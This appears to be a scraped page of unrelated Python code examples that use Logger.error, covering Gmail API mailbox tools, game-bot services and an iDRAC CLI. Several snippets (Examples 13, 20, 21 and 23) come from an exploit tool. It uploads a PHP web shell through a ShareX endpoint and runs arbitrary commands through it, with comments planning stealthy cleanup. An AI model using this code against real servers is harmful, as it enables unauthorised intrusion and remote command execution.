Example #1
0
    def _post_message(self, message):
        """
        Send the given message to the Facebook Messenger platform.
        :param message: The message to post.
        :return: The Facebook Messenger response.
        """

        from core.logger import Logger
        from google.appengine.api import urlfetch
        from json import dumps

        try:
            # Post the message to the Facebook Messenger platform.
            r = urlfetch.fetch(url=self._fb_messenger_api_url,
                               method=urlfetch.POST,
                               headers={"Content-Type": "application/json"},
                               payload=dumps(message))

            # Parse the response.
            response = r.content if r.status_code == 200 else None
            Logger.info("Facebook response:\n%s" % response)

        # In case of error.
        except BaseException as e:
            Logger.error(e)
            response = None

        # Return the parsed response.
        return response
Example #2
0
    async def test_log_error(self):
        logger = Logger(self.name, self.path, self.level)
        with self.assertLogs(self.name, logging.ERROR):
            logger.error('test error log')

        with open(self.path) as f:
            self.assertIsNotNone(f.read())
Example #3
0
    def _post_message(self, message):

        """
        Send the given message to the Facebook Messenger platform.
        :param message: The message to post.
        :return: The Facebook Messenger response.
        """

        from core.logger import Logger
        from google.appengine.api import urlfetch
        from json import dumps

        try:
            # Post the message to the Facebook Messenger platform.
            r = urlfetch.fetch(
                url=self._fb_messenger_api_url,
                method=urlfetch.POST,
                headers={"Content-Type": "application/json"},
                payload=dumps(message)
            )

            # Parse the response.
            response = r.content if r.status_code == 200 else None
            Logger.info("Facebook response:\n%s" % response)

        # In case of error.
        except BaseException as e:
            Logger.error(e)
            response = None

        # Return the parsed response.
        return response
Example #4
0
    def authorize(self, email):

        """
        Establece el buzón receptor dado como autorizado, crea las etiquetas DUPLICADO,
        GESTIONADO, PDTE REINTENTAR y ERROR en el buzón dado.
        :param email: Identificador del buzón.
        :return: El buzón autorizado.
        """

        from pending_authorization import PendingAuthorizationManager
        from core.logger import Logger

        try:
            entity = self.get_by_email(email)
            if entity is not None:
                # Marcamos el buzón como autorizado.
                entity.is_authorized = True
                # Añadimos la información de tracking.
                entity.updated_by = self._user
                entity.put()
                # Obtenemos el diccionario que representa el buzón actualizado.
                entity = entity.to_dict()
                # Eliminamos la autorización.
                PendingAuthorizationManager.delete(entity["user_id"])
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
Example #5
0
    def authorize(self, email):

        """
        Autoriza el buzón de correo indicado.
        :param email: Identificador de buzón de correo.
        :return: El buzón de correo autorizado.
        """

        from managers.pending_authorization import PendingAuthorizationManager
        from core.logger import Logger

        try:
            entity = self.get_by_email(email)
            if entity is not None:
                Logger.info("It's authorized: {}".format(entity.is_authorized))
                # Marcamos el buzón como autorizado.
                entity.is_authorized = True
                entity.updated_by = self._user
                entity.put()
                # Obtenemos el diccionario que representa el buzón actualizado.
                entity = entity.to_dict()
                # Eliminamos la autorización.
                PendingAuthorizationManager.delete(entity["user_id"])
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
Example #6
0
    def find_messages(cls, email):

        """
        Obtiene la lista de mensajes recibidos en el buzón.
        :param email: Buzón de correo.
        :return: La lista de mensajes.
        """

        from clients.gmail_api import GmailApiClient
        from core.logger import Logger

        try:
            messages = []
            resource = GmailApiClient(email).messages()
            page_token = None
            while True:
                response = resource.list(
                    pageToken=page_token,
                    includeSpamTrash=False,
                    q="in:inbox is:unread"
                )
                if "messages" in response:
                    for message in response["messages"]:
                        if not any(x for x in messages if x["id"] == message["id"]):
                            messages.append(message)
                if "nextPageToken" in response:
                    page_token = response["nextPageToken"]
                else:
                    break
        except Exception as e:
            Logger.error(e)
            raise e
        return messages
    def authorize(self, email):

        """
        Establece el buzón receptor dado como autorizado.
        :param email: Identificador del buzón.
        :return: El buzón autorizado.
        """

        from pending_authorization import PendingAuthorizationManager
        from core.logger import Logger

        try:
            entity = self.get_by_email(email)
            if entity is not None:
                # Marcamos el buzón como autorizado.
                entity.is_authorized = True
                # Añadimos la información de tracking.
                entity.updated_by = self._user
                entity.put()
                # Eliminamos la autorización.
                PendingAuthorizationManager.delete(entity.email)
        except Exception as e:
            Logger.error(e)
            raise e
        return entity.to_dict()
Example #8
0
class BaseExtractor:
    """ All xtractor needs to be extended to this base class."""
    request = HttpRequest()
    arg_parser = ArgumentParser('scraper')
    cmd_args = None
    db = AlchemyService()
    log = None

    def execute(self):
        raise XtendedException('Method execute not implemented')

    def parse_html(self, html, parser='html.parser'):
        return HtmlParser(html, parser)

    def add_cmd_argument(self, arg_parser):
        return self.arg_parser

    def __init_arg_parser(self):
        self.arg_parser = self.init_xtarctor()

    def run(self):
        self.log = Logger(self.__class__.__name__)
        try:
            self.add_cmd_argument(self.arg_parser)
            self.cmd_args = self.arg_parser.parse_args()
            self.execute()
        except Exception as e:
            self.log.error(str(e))
    def create(email, group_id, mailbox_id):

        """
        Crea la autorización pendiente para el buzón dado.
        :param email: Usuario del buzón.
        :param group_id: Identificador del grupo.
        :param mailbox_id: Identificador del buzón.
        :return: La autorización creada.
        """

        from core.logger import Logger

        try:
            # Creamos la entidad.
            entity = PendingAuthorizationDao(
                id=str(email),
                group_id=int(group_id),
                mailbox_id=int(mailbox_id)
            )
            entity.put()
            # Obtenemos el diccionario que representa la autorización creada.
            entity = entity.to_dict()
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
Example #10
0
class DiscordWrapper(discord.Client):
    def __init__(self, channels, servers, dqueue, aoqueue, db):
        super().__init__(intents=discord.Intents(guilds=True, invites=True, guild_messages=True, members=True))
        asyncio.set_event_loop(asyncio.new_event_loop())
        self.logger = Logger(__name__)
        self.relay_to = {}
        self.dqueue = dqueue
        self.aoqueue = aoqueue
        self.channels = channels
        self.available_servers = servers
        self.db = db

    async def on_ready(self):
        self.dqueue.append(("discord_ready", "ready"))
        self.dqueue.append(("discord_channels", self.get_all_channels()))

        for server in self.guilds:
            guild: Guild = server
            self.available_servers.append(server)

    async def on_message(self, message):
        if message.content.startswith("!") and len(message.content) > 1:
            command = message.content[1:]
            self.dqueue.append(("discord_command", command))
        elif not message.author.bot:
            cid = message.channel.id
            if cid in self.channels:
                if self.channels[cid].relay_dc:
                    self.dqueue.append(("discord_message", message))

    async def relay_message(self):
        await self.wait_until_ready()
        while not self.is_closed():
            if self.aoqueue:
                try:
                    dtype, message = self.aoqueue.pop(0)

                    if dtype == "get_invite":
                        name = message[0]
                        server = message[1]
                        invites = await self.get_guild(server.id).invites()
                        self.dqueue.append(("discord_invites", (name, invites)))

                    else:
                        content = message.get_message()

                        for cid, channel in self.channels.items():
                            if channel.relay_ao:
                                if message.get_type() == "embed":
                                    await self.get_channel(cid).send(embed=content)
                                    # await self.(discord.Object(id=cid), embed=content)
                                else:
                                    await self.get_channel(cid).send(content)
                                    # await self.send_message(discord.Object(id=cid), content)
                except Exception as e:
                    self.logger.error("Exception raised during Discord event (%s, %s)" % (str(dtype), str(message)), e)
            await asyncio.sleep(1)
Example #11
0
class CharacterHistoryService:
    CACHE_GROUP = "history"
    CACHE_MAX_AGE = 86400

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.cache_service = registry.get_instance("cache_service")

    def get_character_history(self, name, server_num):
        cache_key = "%s.%d.json" % (name, server_num)

        t = int(time.time())

        # check cache for fresh value
        cache_result = self.cache_service.retrieve(self.CACHE_GROUP, cache_key)
        if cache_result and cache_result.last_modified > (t -
                                                          self.CACHE_MAX_AGE):
            # TODO set cache age
            result = json.loads(cache_result.data)
        else:
            url = self.get_pork_url(server_num, name)

            try:
                r = requests.get(
                    url,
                    headers={"User-Agent": f"Tyrbot {self.bot.version}"},
                    timeout=5)
                result = r.json()
            except ReadTimeout:
                self.logger.warning("Timeout while requesting '%s'" % url)
                result = None
            except Exception as e:
                self.logger.error(
                    "Error requesting history for url '%s'" % url, e)
                result = None

            if result:
                # store result in cache
                self.cache_service.store(self.CACHE_GROUP, cache_key,
                                         json.dumps(result))
            elif cache_result:
                # check cache for any value, even expired
                result = json.loads(cache_result.data)

        if result:
            # TODO set cache age
            return map(lambda x: DictObject(x), result)
        else:
            return None

    def get_pork_url(self, dimension, char_name):
        return "http://pork.budabot.jkbff.com/pork/history.php?server=%d&name=%s" % (
            dimension, char_name)
Example #12
0
class SystemController:
    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot = registry.get_instance("bot")

    @setting(name="expected_shutdown", value="true", description="Helps bot to determine if last shutdown was expected or due to a problem")
    def expected_shutdown(self):
        return BooleanSettingType()

    @command(command="shutdown", params=[], access_level="superadmin",
             description="Shutdown the bot")
    def shutdown_cmd(self, request):
        msg = "The bot is shutting down..."
        self.bot.send_org_message(msg)
        self.bot.send_private_channel_message(msg)

        # set expected flag
        self.expected_shutdown().set_value(True)

        if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]:
            request.reply(msg)

        self.bot.shutdown()

    @command(command="restart", params=[], access_level="superadmin",
             description="Restart the bot")
    def restart_cmd(self, request):
        msg = "The bot is restarting..."
        self.bot.send_org_message(msg)
        self.bot.send_private_channel_message(msg)

        # set expected flag
        self.expected_shutdown().set_value(True)

        if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]:
            request.reply(msg)

        self.bot.restart()

    @event(event_type="connect", description="Notify superadmin that bot has come online")
    def connect_event(self, event_type, event_data):
        if self.expected_shutdown().get_value():
            msg = "<myname> is now <green>online<end>."
        else:
            self.logger.error("the bot has recovered from an unexpected shutdown or restart")
            msg = "<myname> is now <green>online<end> but may have shut down or restarted unexpectedly."

        self.bot.send_private_message(self.bot.superadmin, msg)
        self.bot.send_org_message(msg)
        self.bot.send_private_channel_message(msg)

        self.expected_shutdown().set_value(False)
Example #13
0
    def execute(shell_url, cmd):
        """ Execute shell command through web shell and return command output """
        res = requests.get(shell_url, params={'cmd': cmd})

        if res.status_code == 200:
            output = res.text

            return output

        elif res.status_code == 404:
            # TODO: remove shell URL from cache if cache enabled
            Logger.error('web shell not found')
Example #14
0
        def get_raw_message(self):

            """
            Obtiene el bruto del mensaje correspondiente a los datos almacenados en la instancia actual.
            :return: Una cadena de texto con el bruto del mensaje.
            """

            try:
                message = self.__create_message().as_string()
                raw = base64.urlsafe_b64encode(message)
            except Exception as e:
                Logger.error(e)
                raise e
            return raw
    def create_label(self, label):

        """
        Crea una nueva etiqueta, estableciendo el buzón de correo indicado como padre.
        :param label: Etiqueta.
        :return: La etiqueta creada.
        """

        from clients.gmail_api import GmailApiClient
        from core.logger import Logger
        from models.label import LabelDao

        try:

            # Comprobamos que los datos obligatorios vengan informados.
            if label.gmail_name is None:
                raise Exception("Label gmail_name cannot be empty.")
            # Establecemos el nombre de la etiqueta.
            gmail_name = label.gmail_name
            entity = self.get()
            # Obtenemos el acceso al recurso 'labels' de Gmail API.
            resource = GmailApiClient(entity.email).labels()
            # Obtenemos todas las etiquetas del buzón para, en caso de
            # existir ya, seleccionar dicha etiqueta en vez de crearla.
            mailbox_labels = resource.list()
            # Comprobamos si ya existe una etiqueta con el nombre propuesto.
            current_label = next((l for l in mailbox_labels["labels"] if l["name"].lower() == gmail_name.lower()), None)
            Logger.info("Current label: %s ", current_label)
            # Si no existe la creamos.
            if current_label is None:
                response = resource.create(body={
                    "name": gmail_name,
                    "labelListVisibility": "labelShow",
                    "messageListVisibility": "show"
                })
                entity.updated_by = self._user
                # Añadimos el identificador obtenido.
                label_dao = LabelDao(**{"gmail_name": gmail_name, "gmail_id": response["id"]})
                entity.labels.append(label_dao)
                Logger.info("Created label: {}".format(label_dao.to_dict()))
            else:
                raise Exception("This label is already in this account.")

            # manager.add_label(entity.gmail_id)
            entity.put()
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
    def delete(email):

        """
        Elimina la autorización pendiente correspondiente al buzón dado.
        :param email: Usuario del buzón.
        """

        from core.logger import Logger

        try:
            entity = Key(PendingAuthorizationDao, str(email)).get()
            if entity is not None:
                entity.key.delete()
        except Exception as e:
            Logger.error(e)
            raise e
Example #17
0
    def post(self):

        """
        Obtiene los mensajes del buzón correspondiente al día recién cerrado.
        """

        from core.logger import Logger
        from json import loads
        from clients.gmail_api import GmailApiClient

        try:
            # Obtenemos los datos de la petición.
            sender = loads(self.request.get("sender_account"))
            recipients = loads(self.request.get("recipient_accounts"))
            # Obtenemos los mensajes de la cuenta emisora.
            messages = self.find_messages(sender["email"])
            resource = GmailApiClient(sender["email"]).messages()
            if messages:
                # Por cada mensaje encontrado.
                for message in messages:
                    # Creamos un mensaje.
                    mssg = GmailApiClient.Message(resource.get(id=message["id"]))
                    # Creamos un mensaje para mappear el mensaje obtenido.
                    mssg2 = GmailApiClient.MessageMapper()
                    Logger.info(u"From address: {}".format(mssg.get_from()))
                    Logger.info(u"Sender address: {}".format(mssg.get_sender()))
                    # Seteamos los campos que nos interesan.
                    mssg2.set_html_body(mssg.get_html_body())
                    mssg2.set_subject(mssg.get_from() + "$ " + mssg.get_subject())
                    mssg2.add_header("Return-Path", u"{}".format(mssg.get_from()))
                    mssg2.add_header("X-Env-Sender", u"{}".format(mssg.get_from()))
                    mssg2.from_address = u"{}".format(mssg.get_from())
                    Logger.info(u"New from: {}".format(mssg2.from_address))
                    # Agregamos los buzones receptores.
                    for recipient in recipients:
                        mssg2.add_recipient(recipient["email"])
                    sender_email = sender["email"]
                    response = GmailApiClient(sender_email).send_message(mssg2, sender_email)
                    # Si obtenemos respuesta, borramos los mensajes del buzón emisor.
                    if response:
                        GmailApiClient(sender_email).messages().delete(
                            id=message["id"],
                            userId=sender_email
                        )

        except Exception as e:
            Logger.error(e)
Example #18
0
class MessageHubService:
    DEFAULT_GROUP = "default"

    def __init__(self):
        self.logger = Logger(__name__)
        self.hub = {}

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.setting_service = registry.get_instance("setting_service")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.text: Text = registry.get_instance("text")

    def register_message_source(self, source, callback):
        if source in self.hub:
            raise Exception("Relay source '%s' already registered" % source)

        self.hub[source] = (DictObject({
            "source": source,
            "callback": callback,
            "group": self.DEFAULT_GROUP
        }))

    def send_message(self, source, sender, message, formatted_message):
        obj = self.hub.get(source, None)
        if not obj:
            return

        group = obj.group
        if not group:
            return

        ctx = DictObject({
            "source": source,
            "sender": sender,
            "message": message,
            "formatted_message": formatted_message
        })

        for _, c in self.hub.items():
            if c.source != source and c.group == group:
                try:
                    c.callback(ctx)
                except Exception as e:
                    self.logger.error("", e)
class CharacterHistoryService:
    CACHE_GROUP = "history"
    CACHE_MAX_AGE = 86400

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.cache_service = registry.get_instance("cache_service")

    def get_character_history(self, name, server_num):
        cache_key = "%s.%d.json" % (name, server_num)

        # check cache for fresh value
        cache_result = self.cache_service.retrieve(self.CACHE_GROUP, cache_key, self.CACHE_MAX_AGE)
        if cache_result:
            # TODO set cache age
            result = json.loads(cache_result)
        else:
            url = "http://pork.budabot.jkbff.com/pork/history.php?server=%d&name=%s" % (server_num, name)

            try:
                r = requests.get(url, timeout=5)
                result = r.json()
            except ReadTimeout:
                self.logger.warning("Timeout while requesting '%s'" % url)
                result = None
            except Exception as e:
                self.logger.error("Error requesting history for url '%s'" % url, e)
                result = None

            if result:
                # store result in cache
                self.cache_service.store(self.CACHE_GROUP, cache_key, json.dumps(result))
            else:
                # check cache for any value, even expired
                # TODO set cache age
                cache_obj = self.cache_service.retrieve(self.CACHE_GROUP, cache_key)
                if cache_obj:
                    result = json.loads(cache_obj)

        if result:
            return map(lambda x: DictObject(x), result)
        else:
            return None
Example #20
0
    def command_line(shell_url):
        """ Start web shell command line """

        # TODO: stealth mode:
        # - remove PHP web shell on loop exit
        # - rename PHP web shell // add hideden file attribute
        # ? clear command history

        user = Shell.execute(shell_url, 'whoami').strip()

        Logger.empty_line()

        while True:
            try:
                cmd = input(f'{user} $ ')
            except KeyboardInterrupt:
                return
            except EOFError:
                return

            cmd_stripped = cmd.strip().strip(' ').lower()

            if len(cmd_stripped) == 0:
                continue

            if cmd_stripped in ('cls', 'clear'):
                subprocess.call('cls' if os.name == 'nt' else 'clear',
                                shell=True)

            elif cmd_stripped in ('exit', 'quit'):
                break

            else:
                try:
                    output = Shell.execute(shell_url, cmd)

                    if output is not None and len(output) > 0:
                        print(output)

                except Exception:
                    Logger.error(
                        'an error occurred while attempting to execute command'
                    )
Example #21
0
    def get_shell_url(res_body, target_url):
        """ Fetch shell URL from response body """
        re_shell_urls = re.findall(r'https?:\/\/?[\w/\-?=%.]+\.[\w/\-&?=%.]+',
                                   res_body)

        for res_url in re_shell_urls:
            if res_url.endswith('.php'):

                # fixes URL in case of misconfiguration in PHP file
                res_parts = [x for x in res_url.split('/') if len(x) > 0]
                res_path = '/'.join(res_parts[2:])

                target_parts = [x for x in target_url.split('/') if len(x) > 0]
                target_protocol = target_parts[0][:-1]
                target_host = target_parts[1]

                return f'{target_protocol}://{target_host}/{res_path}'
        else:
            Logger.error('web shell url not displayed in response body')
Example #22
0
class WebsocketRelayWorker:
    def __init__(self, inbound_queue, url, user_agent):
        self.logger = Logger(__name__)
        self.inbound_queue = inbound_queue
        self.url = url
        self.ws = None
        self.user_agent = user_agent
        self.is_running = False

    def run(self):
        self.ws = create_connection(self.url,
                                    header={"User-Agent": self.user_agent})
        self.logger.info("Connected to Websocket Relay!")
        self.is_running = True

        try:
            result = self.ws.recv()
            while result:
                obj = DictObject(json.loads(result))
                self.inbound_queue.append(obj)
                result = self.ws.recv()
        except WebSocketConnectionClosedException as e:
            if self.is_running:
                self.logger.error("", e)

        self.ws.close()

    def send_message(self, message):
        if self.ws:
            self.ws.send(message)

    def send_ping(self):
        try:
            if self.ws:
                self.ws.ping()
        except WebSocketConnectionClosedException as e:
            self.logger.error("", e)
            self.close()

    def close(self):
        if self.ws:
            self.is_running = False
            self.ws.close()
Example #23
0
    def upload_shell(upload_url, form_name, secret, field_name, verbose,
                     cache_enabled):
        """ Upload shell to target site """
        res = ShareX.upload(upload_url,
                            io.BytesIO(Shell.PAYLOAD.encode()),
                            file_name=Exploit.MAGIC,
                            form_name=form_name,
                            secret=secret,
                            field_name=field_name)

        res_code = res.status_code
        res_body = res.text.strip()

        if res.status_code != 200:
            if res_code == 403:
                Logger.error('target blocked file upload. waf?')

            elif res_code == 404:
                Logger.error('file upload endpoint not found')

            else:
                Logger.error('unknown response code')

        for error in ShareX.Errors:
            if error.value['content'].lower() in res_body.lower():
                reason = error.value['reason'].lower()
                Logger.error(f'failed to upload shell: \x1b[95m{reason}')

        shell_url = Exploit.get_shell_url(res_body, upload_url)

        if not Exploit.check(shell_url):
            Logger.error('target does not appear vulnerable')

        Logger.success('php web shell uploaded')

        if verbose:
            Logger.info(f'location: \x1b[95m{shell_url}')

        if cache_enabled:
            Cache.save(upload_url, shell_url)
            Logger.success('results saved to cache')

        return shell_url
Example #24
0
class RelayHubService:
    DEFAULT_GROUP = "relay"

    def __init__(self):
        self.logger = Logger(__name__)
        self.hub = {}

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.setting_service = registry.get_instance("setting_service")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.text: Text = registry.get_instance("text")

    def register_relay(self, source, callback):
        self.hub[source] = (DictObject({
            "source": source,
            "callback": callback,
            "group": self.DEFAULT_GROUP
        }))

    def send_message(self, source, sender, message):
        relay = self.hub.get(source, None)
        if not relay:
            return

        group = relay.group
        if not group:
            return

        ctx = DictObject({
            "source": source,
            "sender": sender,
            "message": message
        })

        for _, c in self.hub.items():
            if c.source != source and c.group == group:
                try:
                    c.callback(ctx)
                except Exception as e:
                    self.logger.error(e)
Example #25
0
    def send_message(self, message, user):

        """
        Envía el mensaje dado.
        """

        try:
            # Si el mensaje no viene dado como corresponde.
            if not isinstance(message, GmailApiClient.MessageMapper):
                raise TypeError("The given message is not an instance of Message class.")
            Logger.info("Sending the message...")
            Logger.info("Message: {}".format(message))
            # Obtenemos el mensaje en bruto y lo enviamos.
            response = self.messages().send(
                userId=user,
                body={"raw": message.get_raw_message()}
            )
        except (errors.HttpError, TypeError), e:
            Logger.error(e)
            raise e
Example #26
0
        def do_request(**kwargs):

            """
            Realiza una petición a un recurso de Gmail API.
            :param kwargs: Parámetros de la petición.
            :type kwargs: dict.
            :return: Respuesta de Gmail API.
            """

            """
            Puede que ocurra un error de rateLimitExceeded o userRateLimitExceeded.
            En ese caso la documentación oficial recomienda implementar un exponential backoff
            https://developers.google.com/gmail/api/guides/migrate-from-emapi
            https://developers.google.com/drive/v2/web/handle-errors
            https://github.com/google/google-api-python-client/blob/master/googleapiclient/http.py#L65
            """

            from core.logger import Logger

            if "userId" not in kwargs:
                kwargs["userId"] = "me"

            Logger.info("Executing request...")
            # Reintentamos 3 veces.
            for n in range(0, 3):
                try:
                    Logger.info("Try #{}".format(n + 1))
                    response = method(**kwargs).execute(num_retries=3)
                    return response
                except errors.HttpError, e:
                    Logger.info(e)
                    Logger.info("Execution failed...")
                    Logger.info("Status: {}".format(e.resp.status))
                    Logger.info("Reason: {}".format(e.resp.reason))
                    if e.resp.status in [403, 429, 503] or \
                            e.resp.reason in ["rateLimitExceeded", "userRateLimitExceeded"]:
                        Logger.warning("Error {}. Retrying".format(e.resp.status))
                        time.sleep((2 ** n) + random.randint(0, 1000) / 1000)
                    else:
                        Logger.error("Unknown error: {}".format(e))
                        raise e
Example #27
0
    def start(self, show_window=False):
        self._waypoints.parse(self.config.waypoint['grind'][0]['waypoints'])
        self._behavior.resolve_profile(GlobalConfig.config.behavior)

        for screen in self._screen_interceptor.capture():
            if show_window:
                self._show_window(screen)

            time_before = time.time()
            try:
                data = self._extractor.extract_data_from_screen(screen)
                self._data_sanitizer.sanitize_data(data)
                delta = time.time() - time_before
                Logger.debug("Elapsed time after extraction: {}".format(delta))
                time.sleep(0.05)
                self._state_handler.update(data, screen)
            except ExtractException as e:
                # screen.save(f"errorimages\\{str(uuid.uuid4().hex)}.bmp")
                Logger.error(
                    "Error while extracting data from addon. Data extracted: {}",
                    e.partial)
                if self._extract_error_count <= GlobalConfig.config.core.extract_error_threshold:
                    self._extract_error_count += 1
                    continue
                else:
                    self._recover_error_count += 1
                    self._state_handler = StateHandler(self._controller,
                                                       self._behavior,
                                                       self._waypoints)
            except RecoverableException as e:
                if self._recover_error_count <= GlobalConfig.config.core.recoverable_error_threshold:
                    self._recover_error_count += 1
                    self._state_handler = StateHandler(self._controller,
                                                       self._behavior,
                                                       self._waypoints)
                    continue
                else:
                    raise UnrecoverableException(str(e))
Example #28
0
    def post(self):

        """
        Etiqueta los mensajes del día recién cerrado.
        """

        from json import loads
        from core.logger import Logger
        from clients.gmail_api import GmailApiClient
        from managers.rules import RulesManager

        try:
            # Obtenemos los datos de la petición.
            recipient = loads(self.request.get("recipient_account"))
            messages = MessageManagementHandler.find_messages(recipient["email"])
            resource = GmailApiClient(recipient["email"]).messages()
            for message in messages:
                mssg = GmailApiClient.Message(resource.get(id=message["id"]))
                # Por cada label existente en cada buzón receptor.
                for label in recipient["labels"]:
                    # Aplicamos la regla existente por cada label.
                    for rule in label["rules"]:
                        rule = RulesManager(rule_id=rule["id"]).get()
                        if self.apply_rule(
                            rule.rule,
                            mssg.get_plain_body() if rule.field == "body" else
                            mssg.get_from() if rule.field == "to" else
                            mssg.get_subject(),
                            message["id"],
                            label["gmail_id"],
                            resource
                        ):
                            break

        except Exception as e:
            Logger.error(e)
Example #29
0
 def start(self):
     try:
         start = StartComponent(GlobalConfig.config, self.controller,
                                self.extractor, self.screen)
         start.start()
     except BombShellException as e:
         Logger.error("Exiting with a handled error: {}".format(e))
     except Exception as e:
         Logger.error("Unexpected error")
         Logger.error(traceback.format_exc())
     finally:
         self.screen.stop_capturing()
         self.extractor.end()
Example #30
0
class SystemController:
    SHUTDOWN_EVENT = "shutdown"

    shutdown_msg = "The bot is shutting down..."
    restart_msg = "The bot is restarting..."

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.setting_service: SettingService = registry.get_instance("setting_service")
        self.event_service = registry.get_instance("event_service")

    def pre_start(self):
        self.event_service.register_event_type(self.SHUTDOWN_EVENT)

    @setting(name="expected_shutdown", value="true", description="Helps bot to determine if last shutdown was expected or due to a problem")
    def expected_shutdown(self):
        return BooleanSettingType()

    @setting(name="restart_notify", value="true", description="Notify org and private channel when bot is restarting")
    def restart_notify(self):
        return BooleanSettingType()

    @command(command="shutdown", params=[], access_level="superadmin",
             description="Shutdown the bot")
    def shutdown_cmd(self, request):
        self.event_service.fire_event(self.SHUTDOWN_EVENT, DictObject({"restart": False}))

        # set expected flag
        self.expected_shutdown().set_value(True)

        if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]:
            request.reply(self.shutdown_msg)

        self.bot.shutdown()

    @command(command="restart", params=[], access_level="admin",
             description="Restart the bot")
    def restart_cmd(self, request):
        self.event_service.fire_event(self.SHUTDOWN_EVENT, DictObject({"restart": True}))

        # set expected flag
        self.expected_shutdown().set_value(True)

        if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]:
            request.reply(self.restart_msg)

        self.bot.restart()

    @event(event_type="connect", description="Notify superadmin that bot has come online")
    def connect_event(self, event_type, event_data):
        if self.expected_shutdown().get_value():
            msg = "<myname> is now <green>online<end>."
        else:
            self.logger.error("the bot has recovered from an unexpected shutdown or restart")
            msg = "<myname> is now <green>online<end> but may have shut down or restarted unexpectedly."

        self.bot.send_private_message(self.bot.superadmin, msg)
        self.bot.send_org_message(msg, fire_outgoing_event=False)
        self.bot.send_private_channel_message(msg, fire_outgoing_event=False)

        self.expected_shutdown().set_value(False)

    @event(event_type=SHUTDOWN_EVENT, description="Notify org channel on shutdown/restart")
    def notify_org_channel_shutdown_event(self, event_type, event_data):
        if event_data.restart:
            self.bot.send_org_message(self.restart_msg, fire_outgoing_event=False)
        else:
            self.bot.send_org_message(self.shutdown_msg, fire_outgoing_event=False)

    @event(event_type=SHUTDOWN_EVENT, description="Notify private channel on shutdown/restart")
    def notify_private_channel_shutdown_event(self, event_type, event_data):
        if event_data.restart:
            self.bot.send_private_channel_message(self.restart_msg, fire_outgoing_event=False)
        else:
            self.bot.send_private_channel_message(self.shutdown_msg, fire_outgoing_event=False)
Example #31
0
def main(argv=None):
    parser = argparse.ArgumentParser(
        description="Client tool for changing boot order via Redfish API.")
    parser.add_argument("-H", help="iDRAC host address")
    parser.add_argument("-u", help="iDRAC username", required=True)
    parser.add_argument("-p", help="iDRAC password", required=True)
    parser.add_argument("-i",
                        help="Path to iDRAC interfaces yaml",
                        default=None)
    parser.add_argument("-t", help="Type of host. Accepts: foreman, director")
    parser.add_argument("-l",
                        "--log",
                        help="Optional argument for logging results to a file")
    parser.add_argument("-f",
                        "--force",
                        dest='force',
                        action='store_true',
                        help="Optional argument for forced clear-jobs")
    parser.add_argument("--host-list",
                        help="Path to a plain text file with a list of hosts.",
                        default=None)
    parser.add_argument("--pxe",
                        help="Set next boot to one-shot boot PXE",
                        action="store_true")
    parser.add_argument(
        "--boot-to",
        help="Set next boot to one-shot boot to a specific device")
    parser.add_argument(
        "--boot-to-type",
        help="Set next boot to one-shot boot to either director or foreman")
    parser.add_argument(
        "--boot-to-mac",
        help=
        "Set next boot to one-shot boot to a specific MAC address on the target"
    )
    parser.add_argument("--reboot-only",
                        help="Flag for only rebooting the host",
                        action="store_true")
    parser.add_argument(
        "--power-cycle",
        help="Flag for sending ForceOff instruction to the host",
        action="store_true")
    parser.add_argument("--racreset",
                        help="Flag for iDRAC reset",
                        action="store_true")
    parser.add_argument("--check-boot",
                        help="Flag for checking the host boot order",
                        action="store_true")
    parser.add_argument("--firmware-inventory",
                        help="Get firmware inventory",
                        action="store_true")
    parser.add_argument("--export-configuration",
                        help="Export system configuration to XML",
                        action="store_true")
    parser.add_argument("--clear-jobs",
                        help="Clear any schedule jobs from the queue",
                        action="store_true")
    parser.add_argument("-v",
                        "--verbose",
                        help="Verbose output",
                        action="store_true")
    parser.add_argument("-r",
                        "--retries",
                        help="Number of retries for executing actions.",
                        default=RETRIES)
    args = vars(parser.parse_args(argv))

    log_level = DEBUG if args["verbose"] else INFO

    logger = Logger()
    logger.start(level=log_level)

    if args["log"]:
        file_handler = FileHandler(args["log"])
        file_handler.setFormatter(Formatter(logger.LOGFMT))
        file_handler.setLevel(DEBUG)
        logger.addHandler(file_handler)

    host_list = args["host_list"]
    host = args["H"]

    if host_list:
        try:
            with open(host_list, "r") as _file:
                for _host in _file.readlines():
                    try:
                        execute_badfish(_host.strip(), args, logger)
                    except SystemExit:
                        continue
        except IOError as ex:
            logger.debug(ex)
            logger.error("There was something wrong reading from %s" %
                         host_list)
    elif not host:
        logger.error(
            "You must specify at least either a host (-H) or a host list (--host-list)."
        )
    else:
        execute_badfish(host, args, logger)
    return 0
Example #32
0
        def __create_message(self):

            """
            Construye un mensaje -email- con los datos almacenados en la instancia actual.
            :return: El mensaje como MIMEText o MIMEMultipart.
            """

            try:
                Logger.info("Generating the message...")
                # Si se han indicado cuerpos tanto en texto plano como en HTML.
                if self.plain_body is not None and self.html_body is not None:
                    message = MIMEMultipart("alternative")
                    message.attach(MIMEText(self.plain_body, "plain"))
                    message.attach(MIMEText(self.html_body, "html"))
                # Si solo se ha indicado el cuerpo en texto plano.
                elif self.plain_body is not None:
                    message = MIMEText(self.plain_body, "plain")
                # Si solo se ha indicado el cuerpo en HTML.
                else:
                    message = MIMEText(self.html_body, "html")
                Logger.info("Appending the attachments...")
                # Si existen adjuntos.
                if len(self.attachments) > 0:
                    # El mensaje pasa a ser un MIMEMultipart con los cuerpos adjuntos.
                    aux = message
                    message = MIMEMultipart()
                    message.attach(aux)
                    # Por cada adjunto.
                    for filename, content in self.attachments:
